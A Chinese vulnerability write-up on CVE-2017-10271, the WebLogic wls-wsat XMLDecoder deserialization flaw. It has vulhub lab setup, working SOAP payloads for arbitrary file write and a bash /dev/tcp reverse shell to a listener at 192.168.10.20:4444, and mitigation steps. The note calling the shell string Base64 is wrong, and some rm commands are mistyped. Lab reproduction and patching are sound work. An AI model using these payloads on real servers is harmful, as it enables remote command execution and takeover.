跳转至

CVE-2017-10271 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞

Description

Weblogic 的 WLS Security 组件对外提供 webservice 服务,其中使用了 XMLDecoder 来解析用户传入的 XML 数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。CVE-2017-10271 是 wls wsat 模块的 RCE 漏洞,这个漏洞的核心就是 XMLDecoder 的反序列化漏洞,关于 XMLDecoder 反序列化的漏洞在2013年就被广泛传播,这次的漏洞是由于官方修复不完善导致被绕过。

Explanation of exploit; PoC

运行靶场环境

git clone https://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d

访问 http://your-ip:7001/wls-wsat/CoordinatorPortType,看到如下页面即为靶场正常运行。

漏洞复现

上传任意文件

访问 http://your-ip:7001/wls-wsat/CoordinatorPortType,并通过 BurpSuite 抓包,修改 Content-Typetext/xml,修改 GETPOST,请求体为如下 POC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
         <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                        <string>TEST</string></void><void method="close"/>
                    </object>
            </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
</soapenv:Envelope>

发送请求后会在目标机器上创建一个 test.txt 文件,文件内容为 TEST

访问 http://your-ip:7001/wls-wsat/test.txt,即可看到文件内容。

反弹 Shell

在 kali 上监听 4444 端口

访问 http://your-ip:7001/wls-wsat/CoordinatorPortType,并通过 BurpSuite 抓包,修改 Content-Typetext/xml,修改 GETPOST,请求体为如下 POC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                <array class="java.lang.String" length="3">
                    <void index="0">
                        <string>/bin/bash</string>
                    </void>
                    <void index="1">
                        <string>-c</string>
                    </void>
                    <void index="2">
                        <string>bash -i &gt;&amp; /dev/tcp/192.168.10.20/4444 0&gt;&amp;1</string>
                    </void>
                </array>
                <void method="start"/></void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>
编码问题

bash -i &gt;&amp; /dev/tcp/192.168.10.20/4444 0&gt;&amp;1 该反弹 Shell 语句为 Base64 编码后的内容。

请求发送后,kali 上会出现一个反弹 Shell。

Mitigation

  1. 临时方案

删除WebLogicwls-wsat组件

rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm –f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

重启Weblogic域控制器服务

DOMAIN_NAME/bin/stopWeblogic.sh
DOMAIN_NAME/bin/startManagedWebLogic.sh
2. 通过补丁升级

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

References


最后更新: November 17, 2022
创建日期: November 17, 2022